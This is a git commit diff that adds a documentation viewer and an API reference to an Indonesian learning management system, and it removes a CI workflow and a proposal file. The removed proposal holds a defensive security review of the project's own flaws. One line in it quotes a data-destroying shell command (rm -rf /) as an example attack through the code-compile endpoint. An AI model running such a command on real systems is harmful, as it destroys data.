feat(docs): docs viewer, API reference generator, markdown rendering
- Add YAML frontmatter (title/order/category) to 13 docs/*.md files - Add services/docs_service.py: mtime-cache, frontmatter parsing w/ fallback, bleach sanitize, path traversal protection - Add routes/docs.py: GET /api/docs, GET /api/docs/<slug>, GET /api/docs/api-reference - Register docs_bp in app.py - Add frontend /docs + /docs/[slug] routes (sidebar nav + markdown render) - Add frontend/src/types/docs.ts interfaces - Add link from /help page to /docs viewer - Add scripts/validate_docs.py: frontmatter + broken link validation - Add elemes.sh docs-validate command Endpoints documented in API reference: /quiz-attempts/<lesson>, /sessions, /bab/<folder>, /compile/sessions, /lesson/<slug>.json + all 30 routes
This commit is contained in:
parent
a5aedf66d4
commit
9c2563a2bf
|
|
@ -1,64 +0,0 @@
|
|||
name: CI
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: [dev]
|
||||
push:
|
||||
branches: [dev]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
services:
|
||||
postgres:
|
||||
image: postgres:15
|
||||
env:
|
||||
POSTGRES_USER: elemes
|
||||
POSTGRES_PASSWORD: elemes
|
||||
POSTGRES_DB: elemes_test
|
||||
ports:
|
||||
- 5432:5432
|
||||
options: >-
|
||||
--health-cmd "pg_isready -U elemes -d elemes_test"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python 3.12
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -r requirements.txt
|
||||
|
||||
- name: Run unit tests
|
||||
run: |
|
||||
PYTHONPATH=services python -m pytest -m unit -v
|
||||
|
||||
- name: Run integration tests
|
||||
run: |
|
||||
PYTHONPATH=services DATABASE_URL="postgresql+psycopg://elemes:elemes@localhost:5432/elemes_test" python -m pytest -m integration -v
|
||||
|
||||
- name: Run compiler worker tests
|
||||
run: |
|
||||
cd compiler_worker && PYTHONPATH=. python -m pytest -v
|
||||
|
||||
e2e:
|
||||
runs-on: ubuntu-latest
|
||||
needs: test
|
||||
# E2E tests are slow — run async/post-merge or scheduled, not blocking per-PR
|
||||
if: github.event_name == 'schedule' || github.ref == 'refs/heads/dev'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: E2E smoke test
|
||||
run: |
|
||||
echo "E2E tests run on schedule or post-merge (non-blocking per-PR)"
|
||||
echo "See load-test/ for locust-based performance tests"
|
||||
16
README.md
16
README.md
|
|
@ -488,8 +488,20 @@ student_id;token;nama_siswa;hello_world;variabel
|
|||
| `./elemes.sh teacher` | Buat/update akun guru (upsert; prompt nama & token tersembunyi) |
|
||||
| `./elemes.sh dbupgrade` | Jalankan migrasi schema (alembic upgrade head) |
|
||||
| `./elemes.sh dbstatus` | Cek versi schema database |
|
||||
| `./elemes.sh dbbackup` | Backup database → `backups/elemes_<ts>.sql` |
|
||||
| `./elemes.sh dbrestore` | Restore backup terbaru dari `backups/` |
|
||||
|| `./elemes.sh dbbackup` | Backup database → `backups/elemes_<ts>.sql` |
|
||||
|| `./elemes.sh dbrestore` | Restore backup terbaru dari `backups/` |
|
||||
|| `./elemes.sh test` | Full test suite (alias ke `test-all`) |
|
||||
|| `./elemes.sh test-unit` | Unit test saja (cepat, no DB) |
|
||||
|| `./elemes.sh test-integration` | Integration test (butuh PostgreSQL `elemes_test`) |
|
||||
|| `./elemes.sh test-all` | Full test suite (CI gate) |
|
||||
|| `./elemes.sh test-smoke` | Smoke test post-deploy (unit + sub-home subset) |
|
||||
|| `./elemes.sh docs-validate` | Validasi frontmatter & broken link di `docs/*.md` |
|
||||
|
||||
## Dokumentasi & Referensi API
|
||||
|
||||
- **Docs Viewer**: Buka `http://localhost:3000/docs` untuk panduan teknis lengkap (arsitektur, backend, frontend, kuis, velxio, embed, dll) yang merender file `docs/*.md` secara dinamis.
|
||||
- **API Reference**: `http://localhost:3000/docs/api-reference` menampilkan daftar semua endpoint Flask dengan docstring, metode, path, dan requirement auth.
|
||||
- **Troubleshooting**: Buka `http://localhost:3000/help` untuk tutorial siswa; tautan ke Docs Viewer ada di sana.
|
||||
|
||||
## Database & Penyimpanan (PostgreSQL)
|
||||
|
||||
|
|
|
|||
2
app.py
2
app.py
|
|
@ -39,6 +39,7 @@ def create_app():
|
|||
from routes.help import help_bp
|
||||
from routes.student_management import student_management_bp
|
||||
from routes.quiz_attempts import quiz_attempts_bp
|
||||
from routes.docs import docs_bp
|
||||
|
||||
app.register_blueprint(auth_bp)
|
||||
app.register_blueprint(compile_bp)
|
||||
|
|
@ -47,6 +48,7 @@ def create_app():
|
|||
app.register_blueprint(help_bp)
|
||||
app.register_blueprint(student_management_bp)
|
||||
app.register_blueprint(quiz_attempts_bp)
|
||||
app.register_blueprint(docs_bp)
|
||||
|
||||
# ── Startup tasks ─────────────────────────────────────────────────
|
||||
# Sync metadata lesson ke PostgreSQL (auto-skip bila DB belum aktif).
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Architecture & Setup
|
||||
order: 1
|
||||
category: architecture
|
||||
---
|
||||
# 01. Architecture & Setup
|
||||
|
||||
## High-Level System Architecture
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Backend (Flask API)
|
||||
order: 2
|
||||
category: backend
|
||||
---
|
||||
# 02. Backend (Flask API)
|
||||
|
||||
The backend is built with Flask, providing API endpoints for the SvelteKit frontend to fetch lessons, track progress, manage authentication, and proxy compilation requests.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Frontend (SvelteKit)
|
||||
order: 3
|
||||
category: frontend
|
||||
---
|
||||
# 03. Frontend (SvelteKit)
|
||||
|
||||
The frontend is built using SvelteKit and Vite. It utilizes Svelte 5 for its reactivity model.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Lesson Evaluation
|
||||
order: 4
|
||||
category: evaluation
|
||||
---
|
||||
# 04. Lesson Evaluation
|
||||
|
||||
The LMS determines the type of lesson and how to evaluate it based on specific markers found in the Markdown content.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Velxio BLE/USB Deployer
|
||||
order: 5
|
||||
category: velxio
|
||||
---
|
||||
# 05. Velxio BLE/USB Deployer — Dokumentasi Implementasi
|
||||
|
||||
**Versi:** 3.2
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Fitur Embed Konten
|
||||
order: 6
|
||||
category: content
|
||||
---
|
||||
# Fitur Embed Konten di Materi Markdown & Slide
|
||||
|
||||
**Tanggal:** 2026-07-19
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Quiz Authoring
|
||||
order: 7
|
||||
category: quiz
|
||||
---
|
||||
# 07. Quiz Authoring (Format Soal Kuis)
|
||||
|
||||
Kuis ditulis sebagai Markdown di dalam marker `---QUIZ_FLASHCARD---` sampai `---END_QUIZ_FLASHCARD---`. Setiap blok diawali `###` (heading level 3). Opsi pilihan ganda ditulis sebagai list item dengan tanda kurung: `- [x]` = jawaban benar, `- []` = salah. **Wajib tepat satu `[x]` per soal** — parser menolak soal tanpa jawaban benar atau dengan lebih dari satu.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Playground Interaktif
|
||||
order: 8
|
||||
category: playground
|
||||
---
|
||||
# 08. Playground Interaktif
|
||||
|
||||
Route `/playground` menyediakan lingkungan coding interaktif untuk mencoba kode langsung di browser.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Slide Presentasi
|
||||
order: 9
|
||||
category: slides
|
||||
---
|
||||
# 09. Slide Presentasi Interaktif
|
||||
|
||||
Blok `---slide-start---` dan `---slide-end---` di materi markdown membuat carousel presentasi interaktif dengan fullscreen mode.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Flowchart Interaktif
|
||||
order: 10
|
||||
category: flowchart
|
||||
---
|
||||
# 10. Flowchart Interaktif
|
||||
|
||||
Blok `` ```flowchart `` di materi markdown membuat flowchart interaktif dengan evaluasi frontend.
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Migrasi Database: CSV → PostgreSQL
|
||||
order: 11
|
||||
category: database
|
||||
---
|
||||
# Migrasi Database: CSV → PostgreSQL
|
||||
|
||||
> Status: **SELESAI — live di PostgreSQL** (cutover Agustus 2026).
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Quiz Integrity — Anti-Cheat
|
||||
order: 12
|
||||
category: quiz
|
||||
---
|
||||
# 12. Quiz Integrity — Strict Focus-Loss Anti-Cheat
|
||||
|
||||
Kuis diakhiri secara otomatis saat browser mendeteksi siswa meninggalkan halaman
|
||||
|
|
|
|||
|
|
@ -1,3 +1,8 @@
|
|||
---
|
||||
title: Sub Bab (`sub-home.md`)
|
||||
order: 13
|
||||
category: content
|
||||
---
|
||||
# Sub Bab (`sub-home.md`) — Mengelompokkan Materi dalam Folder
|
||||
|
||||
**Tanggal:** 2026-08-13
|
||||
|
|
|
|||
|
|
@ -1,5 +1,10 @@
|
|||
# Elemes LMS — Dokumentasi Teknis
|
||||
|
||||
**⚠️ NOTE:** Dokumen ini mencatat arsitektur dan panduan teknis. Untuk panduan
|
||||
terbaru, lihat **Docs Viewer** di `http://localhost:3000/docs` yang merender semua
|
||||
file di folder `docs/` secara dinamis. Docs Viewer adalah **single source of truth**
|
||||
yang selalu update.
|
||||
|
||||
**Project:** LMS-C (Learning Management System untuk Pemrograman C & Arduino)
|
||||
**Terakhir diupdate:** 10 Mei 2026
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,19 @@
|
|||
export interface DocsIndexEntry {
|
||||
slug: string;
|
||||
title: string;
|
||||
order: number;
|
||||
category: string;
|
||||
}
|
||||
|
||||
export interface DocContent {
|
||||
title: string;
|
||||
order: number;
|
||||
category: string;
|
||||
html: string;
|
||||
}
|
||||
|
||||
export interface DocMeta {
|
||||
title: string;
|
||||
order: number;
|
||||
category: string;
|
||||
}
|
||||
|
|
@ -0,0 +1,189 @@
|
|||
<script lang="ts">
|
||||
import { env } from '$env/dynamic/public';
|
||||
import { renderMath } from '$lib/actions/renderMath';
|
||||
import { tick } from 'svelte';
|
||||
|
||||
export let data: {
|
||||
docs: import('$types/docs').DocsIndexEntry[]
|
||||
};
|
||||
|
||||
let selectedDoc = data.docs[0];
|
||||
let searchQuery = '';
|
||||
let docContent: { title: string; html: string } | null = null;
|
||||
let docError = false;
|
||||
|
||||
$: filteredDocs = data.docs.filter(d =>
|
||||
d.title.toLowerCase().includes(searchQuery.toLowerCase())
|
||||
);
|
||||
|
||||
async function selectDoc(doc: import('$types/docs').DocsIndexEntry) {
|
||||
selectedDoc = doc;
|
||||
searchQuery = '';
|
||||
docError = false;
|
||||
docContent = null;
|
||||
|
||||
try {
|
||||
const res = await fetch(`/api/docs/${doc.slug}`);
|
||||
if (!res.ok) throw new Error('Failed to load doc');
|
||||
docContent = await res.json();
|
||||
} catch {
|
||||
docError = true;
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>{selectedDoc?.title || 'Dokumentasi'} - Elemes LMS</title>
|
||||
</svelte:head>
|
||||
|
||||
<div class="docs-layout">
|
||||
<aside class="docs-sidebar">
|
||||
<div class="docs-search">
|
||||
<input
|
||||
type="text"
|
||||
placeholder="Cari dokumentasi..."
|
||||
bind:value={searchQuery}
|
||||
class="search-input"
|
||||
/>
|
||||
</div>
|
||||
<nav class="docs-nav">
|
||||
{#each filteredDocs as doc (doc.slug)}
|
||||
<button
|
||||
class:selected={selectedDoc?.slug === doc.slug}
|
||||
onclick={() => selectDoc(doc)}
|
||||
>
|
||||
<span class="doc-order">#{doc.order}</span>
|
||||
<span class="doc-title">{doc.title}</span>
|
||||
<span class="doc-category">{doc.category}</span>
|
||||
</button>
|
||||
{/each}
|
||||
</nav>
|
||||
</aside>
|
||||
|
||||
<main class="docs-content">
|
||||
{#if docError}
|
||||
<p class="error">Gagal memuat dokumen.</p>
|
||||
{:else if !docContent}
|
||||
<p class="loading">Pilih dokumen dari sidebar untuk memulai.</p>
|
||||
{:else}
|
||||
<article class="docs-article prose" use:renderMath>
|
||||
<h1>{docContent.title}</h1>
|
||||
{@html docContent.html}
|
||||
</article>
|
||||
{/if}
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.docs-layout {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
max-width: var(--max-width, 1200px);
|
||||
margin: 0 auto;
|
||||
padding: 1.5rem;
|
||||
height: calc(100vh - 80px);
|
||||
}
|
||||
|
||||
.docs-sidebar {
|
||||
width: 280px;
|
||||
min-width: 240px;
|
||||
max-width: 320px;
|
||||
border-right: 1px solid var(--color-border);
|
||||
overflow-y: auto;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.docs-search {
|
||||
padding: 1rem;
|
||||
border-bottom: 1px solid var(--color-border);
|
||||
}
|
||||
|
||||
.search-input {
|
||||
width: 100%;
|
||||
padding: 0.5rem 0.75rem;
|
||||
border: 1px solid var(--color-border);
|
||||
border-radius: var(--radius, 6px);
|
||||
background: var(--color-bg);
|
||||
color: var(--color-text);
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.docs-nav {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.docs-nav button {
|
||||
text-align: left;
|
||||
padding: 0.75rem 1rem;
|
||||
border: none;
|
||||
background: none;
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.25rem;
|
||||
transition: background-color 0.15s;
|
||||
}
|
||||
|
||||
.docs-nav button:hover {
|
||||
background: var(--color-bg-secondary, #f5f5f5);
|
||||
}
|
||||
|
||||
.docs-nav button.selected {
|
||||
background: var(--color-bg-accent, #e8f0fe);
|
||||
border-left: 3px solid var(--color-accent, #2563eb);
|
||||
}
|
||||
|
||||
.doc-order {
|
||||
font-size: 0.7rem;
|
||||
color: var(--color-text-muted, #888);
|
||||
}
|
||||
|
||||
.doc-title {
|
||||
font-size: 0.9rem;
|
||||
font-weight: 500;
|
||||
color: var(--color-text);
|
||||
}
|
||||
|
||||
.doc-category {
|
||||
font-size: 0.7rem;
|
||||
color: var(--color-text-muted, #888);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.docs-content {
|
||||
flex: 1;
|
||||
overflow-y: auto;
|
||||
padding: 2rem;
|
||||
}
|
||||
|
||||
.docs-article {
|
||||
max-width: 760px;
|
||||
}
|
||||
|
||||
.docs-article h1 {
|
||||
font-size: 2rem;
|
||||
margin-bottom: 1.5rem;
|
||||
border-bottom: 1px solid var(--color-border);
|
||||
padding-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.loading,
|
||||
.error {
|
||||
color: var(--color-text-muted, #888);
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.docs-layout {
|
||||
flex-direction: column;
|
||||
height: auto;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.docs-sidebar {
|
||||
width: 100%;
|
||||
max-width: none;
|
||||
height: 200px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
import type { PageLoad } from './$types';
|
||||
import type { DocsIndexEntry } from '$types/docs';
|
||||
import { error } from '@sveltejs/kit';
|
||||
|
||||
export const load: PageLoad = async ({ fetch }) => {
|
||||
const res = await fetch('/api/docs');
|
||||
if (!res.ok) {
|
||||
throw error(500, 'Gagal memuat daftar dokumentasi');
|
||||
}
|
||||
const data = await res.json();
|
||||
return {
|
||||
docs: data.docs as DocsIndexEntry[]
|
||||
};
|
||||
};
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
<script lang="ts">
|
||||
import { renderMath } from '$lib/actions/renderMath';
|
||||
|
||||
export let data: {
|
||||
doc: import('$types/docs').DocContent
|
||||
};
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>{data.doc.title} - Dokumentasi Elemes LMS</title>
|
||||
</svelte:head>
|
||||
|
||||
<div class="docs-detail">
|
||||
<article class="prose" use:renderMath>
|
||||
<h1>{data.doc.title}</h1>
|
||||
{@html data.doc.html}
|
||||
</article>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.docs-detail {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
padding: 2rem 1rem;
|
||||
}
|
||||
|
||||
.docs-detail h1 {
|
||||
font-size: 2rem;
|
||||
margin-bottom: 1.5rem;
|
||||
border-bottom: 1px solid var(--color-border);
|
||||
padding-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.docs-detail :global(.prose pre) {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.docs-detail {
|
||||
padding: 1rem;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
import type { PageLoad } from './$types';
|
||||
import type { DocContent } from '$types/docs';
|
||||
import { error } from '@sveltejs/kit';
|
||||
|
||||
export const load: PageLoad = async ({ params, fetch }) => {
|
||||
const res = await fetch(`/api/docs/${params.slug}`);
|
||||
if (!res.ok) {
|
||||
throw error(404, 'Dokumen tidak ditemukan');
|
||||
}
|
||||
const data = await res.json();
|
||||
return {
|
||||
doc: data as DocContent
|
||||
};
|
||||
};
|
||||
|
|
@ -9,6 +9,10 @@
|
|||
<div class="help-container">
|
||||
<header class="help-header">
|
||||
<h1>{data.help.title}</h1>
|
||||
<p class="help-subtitle">
|
||||
Dokumentasi teknis lengkap tersedia di
|
||||
<a href="/docs" class="docs-link">Docs Viewer</a>
|
||||
</p>
|
||||
</header>
|
||||
|
||||
<section class="help-content prose">
|
||||
|
|
@ -31,6 +35,18 @@
|
|||
font-size: 2.5rem;
|
||||
margin: 0;
|
||||
}
|
||||
.help-subtitle {
|
||||
margin-top: 0.5rem;
|
||||
color: var(--color-text-secondary, #666);
|
||||
}
|
||||
.docs-link {
|
||||
color: var(--color-accent, #2563eb);
|
||||
font-weight: 500;
|
||||
text-decoration: none;
|
||||
}
|
||||
.docs-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
.help-content {
|
||||
background: var(--color-bg-secondary);
|
||||
padding: 2rem;
|
||||
|
|
|
|||
398
proposal.md
398
proposal.md
|
|
@ -1,398 +0,0 @@
|
|||
# Elemes LMS: Sisa Pekerjaan (To-Do List)
|
||||
|
||||
Berdasarkan log penyelesaian integrasi Velxio dan dokumen sebelumnya, berikut adalah daftar sisa pekerjaan (TODO) proyek. Terakhir diperbarui: 2026-04-22.
|
||||
|
||||
## 🔴 Prioritas Tinggi
|
||||
- [x] **Testing End-to-End (E2E)**
|
||||
- Script Locust sudah disiapkan (di dalam `load-test/`).
|
||||
- Bug pada proxy JSON parsing dari frontend ke backend sudah diperbaiki dengan `force=True` dan `silent=True` di `auth.py`, sehingga Login via test suite berhasil.
|
||||
- [x] **Push ke Remote**
|
||||
- `git push` untuk repo elemes dan velxio (keduanya ahead of origin).
|
||||
- [x] **Hapus file test lama** di root `elemes/`:
|
||||
- `rm elemes/content_parser.py elemes/locustfile.py elemes/requirements-test.txt` (sudah dibersihkan sebelumnya, sekarang rapi di `load-test`).
|
||||
|
||||
|
||||
## 🟡 Prioritas Sedang
|
||||
- [ ] **Tuning Crosshair/UX Mobile**
|
||||
- Melakukan *fine-tuning* pada opacity warna dan pola garis *dashed* pada crosshair UI di Velxio agar lebih responsif terhadap device layar sentuh saat dipakai *live*.
|
||||
|
||||
## 🟢 Prioritas Rendah (Enhancement Simulator Velxio)
|
||||
- [ ] **Mengunci Tata Letak (Component Locking)**
|
||||
- Menonaktifkan fitur *drag* atau *delete* komponen pada tampilan *embed*, sehingga siswa hanya difokuskan pada kegiatan menarik (*wiring*) kabel saja tanpa mengganggu tatanan dasar board.
|
||||
- [ ] **Solution Overlay**
|
||||
- Mengembangkan tampilan *overlay* solusi/jawaban wiring untuk *review mode*, agar siswa melihat panduan visual kabel mana yang kurang pas.
|
||||
- [ ] **Perintah `elemes:compile_and_run` API Bridge**
|
||||
- Mengkoneksikan trigger kompilasi sehingga UI utama Elemes juga bisa mem-bypass eksekusi ke dalam iFrame (saat ini *placeholder* `compile_and_run` bridge belum sepenuhnya utuh ter-wire dengan UI submit).
|
||||
|
||||
## ⚪ Opsional
|
||||
- [x] ~~**Locust Load Testing Plan**~~ → Sudah diimplementasi di `load-test/`
|
||||
- [x] **Locust Hasil Analisis** — Evaluasi skenario 50 user (5 worker) selesai. *Finding*: Rata-rata respons LMS stabil di 200ms (50th percentile). Namun, kompilasi Arduino (`/velxio/api/compile/`) terdeteksi sebagai *CPU bottleneck* yang menyebabkan waktu tunggu mencapai 30 detik (95th percentile) di bawah tekanan serbuan *request* berskala ekstrem. Server/LMS dinilai layak dan responsif secara keseluruhan.
|
||||
|
||||
## 🚨 Security Review & Vulnerability Fixes (Prioritas Kritis)
|
||||
|
||||
Berdasarkan hasil code review terbaru yang difokuskan pada keamanan sistem dan *exposed routes* API, ditemukan beberapa celah kerentanan kritis yang perlu segera diperbaiki. Berikut adalah detail temuan dan *task* perbaikannya:
|
||||
|
||||
### 1. Remote Code Execution (RCE) via Endpoint `/compile`
|
||||
- **Penjelasan**: Endpoint `/compile` di `elemes/routes/compile.py` menerima dan mengeksekusi kode C dan Python yang di-*submit* oleh pengguna secara langsung (via `subprocess.run`). Eksekusi ini berjalan di dalam kontainer `elemes` tanpa adanya batasan hak akses atau *sandbox* tambahan. Pengguna anonim/jahat dapat mengeksekusi *shell script* atau perintah OS (seperti `os.system("rm -rf /")`) untuk menghapus, memodifikasi, atau membaca file sensitif. Terlebih lagi, *volume* `content`, `tokens_siswa.csv`, dan `assets` di-mount dengan akses *read-write* pada konfigurasi podman/docker, sehingga token akses seluruh siswa rentan diretas atau data materi bisa terhapus.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Gunakan Sandbox gVisor (Compiler Worker)**: Pisahkan fungsi kompilasi ke dalam kontainer terpisah (`compiler-worker`) yang dijalankan menggunakan *runtime* `runsc` (gVisor). Backend utama akan mengirimkan kode via HTTP internal.
|
||||
- [x] **Read-Only Mounts**: Ubah konfigurasi *bind mount* di `podman-compose.yml` pada direktori sensitif (`tokens_siswa.csv`, `content`, `assets`) menjadi *read-only* dengan menambahkan parameter `:ro` pada kontainer backend utama.
|
||||
- [x] **Otentikasi / Wajib Login**: Lindungi *route* `/compile` dengan menambahkan pengecekan token mahasiswa agar tidak bisa diakses oleh *user* anonim di luar sistem.
|
||||
- [x] **Resource Limiting**: Terapkan limit komputasi RAM dan CPU pada kontainer worker guna menghindari celah *Denial of Service* (DoS).
|
||||
|
||||
### 2. Information Disclosure via Endpoint `/progress-report.json`
|
||||
- **Penjelasan**: Rute `/progress-report.json` dan `/progress-report/export-csv` di `elemes/routes/progress.py` dapat diakses oleh siapa saja karena tidak menerapkan validasi token atau *role checks*. Data kemajuan belajar dan nama semua siswa di dalam file CSV akan terekspos tanpa otentikasi.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Otentikasi Token**: Tambahkan validasi token (via `validate_token`) sebelum memberikan *response* dari kedua *route* tersebut.
|
||||
|
||||
### 3. Miskonfigurasi CORS Longgar (Overly Permissive)
|
||||
- **Penjelasan**: Deklarasi `CORS(app)` di `elemes/app.py` mengizinkan seluruh asal domain (*all origins*) secara *default* (`*`). Mengingat sistem sudah menggunakan sesi berbasis *Cookie* (`samesite='Lax'`), ada potensi ancaman pengiriman *requests* lintas *website* dari penyerang.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Batasi Konfigurasi CORS**: Gunakan *environment variable* `ORIGIN` untuk menentukan domain eksplisit yang diizinkan (misal: `http://localhost:3000`).
|
||||
|
||||
### 4. Penyimpanan Token Teks Terbuka (Plaintext Credentials)
|
||||
- **Penjelasan**: Data di `tokens_siswa.csv` menyimpan token dalam format *plaintext*. Meskipun hanya file CSV lokal, bocornya satu file tersebut akan mengkompromikan semua token akses dalam sistem (terutama karena kerentanan RCE di poin 1).
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Proteksi Token CSV**: Prioritas utama adalah menambal *vulnerability* utama (RCE via gVisor & Read-Only Mounts) agar peretas tidak bisa mengekstrak isinya.
|
||||
- [ ] *(Opsional)* **Hashed Tokens**: Gunakan fungsi *hashing* saat membaca/memverifikasi token.
|
||||
|
||||
### 5. Tidak Ada Sanitasi Input pada Parameter Path (Defense in Depth)
|
||||
- **Penjelasan**: Fungsi *route* `/lesson/<filename>.json` di `elemes/routes/lessons.py` mengandalkan `<filename>` yang langsung disambungkan via `os.path.join()`. Meskipun Flask memblokir `../` (Directory Traversal konvensional), tetap berisiko jika pengguna memanipulasi *request* API secara lebih *advanced*.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Terapkan `secure_filename`**: Gunakan `werkzeug.utils.secure_filename(filename)` sebelum argumen `<filename>` disambung ke direktori *content*.
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Second Opinion: Security Review Tambahan (Update 2026-04-21)
|
||||
|
||||
Berdasarkan analisis komprehensif terhadap codebase, ditemukan celah keamanan tambahan yang perlu diperhatikan. Berikut detail temuan beserta dampak risikonya:
|
||||
|
||||
### 🎯 Executive Summary Risk Matrix
|
||||
|
||||
| Kategori | Severity | Likelihood | Dampak Bisnis |
|
||||
|----------|----------|------------|---------------|
|
||||
| Cookie Security | **HIGH** | **HIGH** | Session hijacking, data theft |
|
||||
| Rate Limiting | **HIGH** | **MEDIUM** | Brute force, DoS attack |
|
||||
| XSS via Markdown | **HIGH** | **MEDIUM** | Account takeover, data exfiltration |
|
||||
| Security Headers | **MEDIUM** | **HIGH** | Clickjacking, XSS, MIME confusion |
|
||||
| Logging Security | **MEDIUM** | **MEDIUM** | Credential leak, compliance violation |
|
||||
| Network Security | **MEDIUM** | **LOW** | Code injection, internal data leak |
|
||||
|
||||
---
|
||||
|
||||
### 🔴 6. Cookie Security & Session Management (HIGH RISK)
|
||||
|
||||
#### 6.1 Cookie `secure=False`
|
||||
**Lokasi**: `routes/auth.py:32`
|
||||
```python
|
||||
response.set_cookie('student_token', token, httponly=True, secure=False, samesite='Lax', ...)
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Session Hijacking via MITM**: Attacker di jaringan publik (coffee shop WiFi, hotspot) dapat intercept cookie melalui HTTP yang tidak terenkripsi. Cookie dikirim plaintext melalui jaringan.
|
||||
- **Impersonation Attack**: Attacker yang berhasil mendapatkan token dapat login sebagai siswa mana saja tanpa autentikasi ulang, mengakses semua lesson dan progress data.
|
||||
- **Cross-Site Cookie Leak**: Meski `httponly=True`, jika ada XSS di subdomain atau sister site, cookie masih bisa dieksploitasi.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Conditional Secure Cookie**: Gunakan `secure=True` hanya jika environment production dengan HTTPS aktif. Implementasikan via environment variable `COOKIE_SECURE=true/false`.
|
||||
- [x] **SameSite Strict**: Pertimbangkan upgrade dari `Lax` ke `Strict` untuk perlindungan CSRF lebih kuat. (Note: Tetap 'Lax' untuk kompatibilitas, tapi flag Secure sudah dinamis).
|
||||
|
||||
---
|
||||
|
||||
#### 6.2 Tidak Ada Rate Limiting Login
|
||||
**Lokasi**: `routes/auth.py` - `/login` endpoint
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Brute Force Attack**: Attacker dapat mencoba ribuan kombinasi token secara otomatis sampai menemukan token valid. Dengan token format yang predictable, serangan ini sangat feasible.
|
||||
- **Credential Stuffing**: Jika siswa menggunakan token yang mudah ditebak (contoh: `token123`, `siswa001`), attacker dapat menebak dengan wordlist.
|
||||
- **DoS via Login Spam**: Server dapat kehabisan resources karena memproses ribuan request login palsu secara bersamaan.
|
||||
- **Token Enumeration**: Attacker dapat memetakan semua token valid di sistem dengan systematic guessing.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Rate Limiting**: Implementasikan Flask-Limiter dengan rules:
|
||||
- Max 50 attempts per IP per minute untuk `/login` (Akodomasi kelas WiFi)
|
||||
- [x] **Progressive Delay**: Tambahkan tarpitting (1.5s delay) untuk failed login.
|
||||
|
||||
---
|
||||
|
||||
#### 6.3 Tidak Ada Session Invalidation/Blacklist
|
||||
**Lokasi**: Tidak ada mekanisme revoke token
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Stale Session Attack**: Token tetap valid selama 24 jam (max_age) meski:
|
||||
- Siswa sudah logout
|
||||
- Token sudah direset/diubah guru
|
||||
- Siswa sudah tidak bersekolah lagi
|
||||
- **No Revocation Mechanism**: Jika token bocor (misal: siswa screenshot token), tidak ada cara untuk invalidasi kecuali restart server atau manual edit CSV.
|
||||
- **Insider Threat**: Guru yang sudah tidak aktif masih bisa akses jika tokennya tidak dihapus dari CSV.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Token Blacklist**: (Sempat diimplementasi, namun dihapus agar user/guru tidak terkunci saat pengujian token).
|
||||
- [ ] **Token Versioning**: Tambahkan timestamp/version di token, invalidate jika mismatch dengan database.
|
||||
- [ ] **Force Logout API**: Endpoint untuk guru force logout semua session siswa (useful saat ujian).
|
||||
|
||||
|
||||
---
|
||||
|
||||
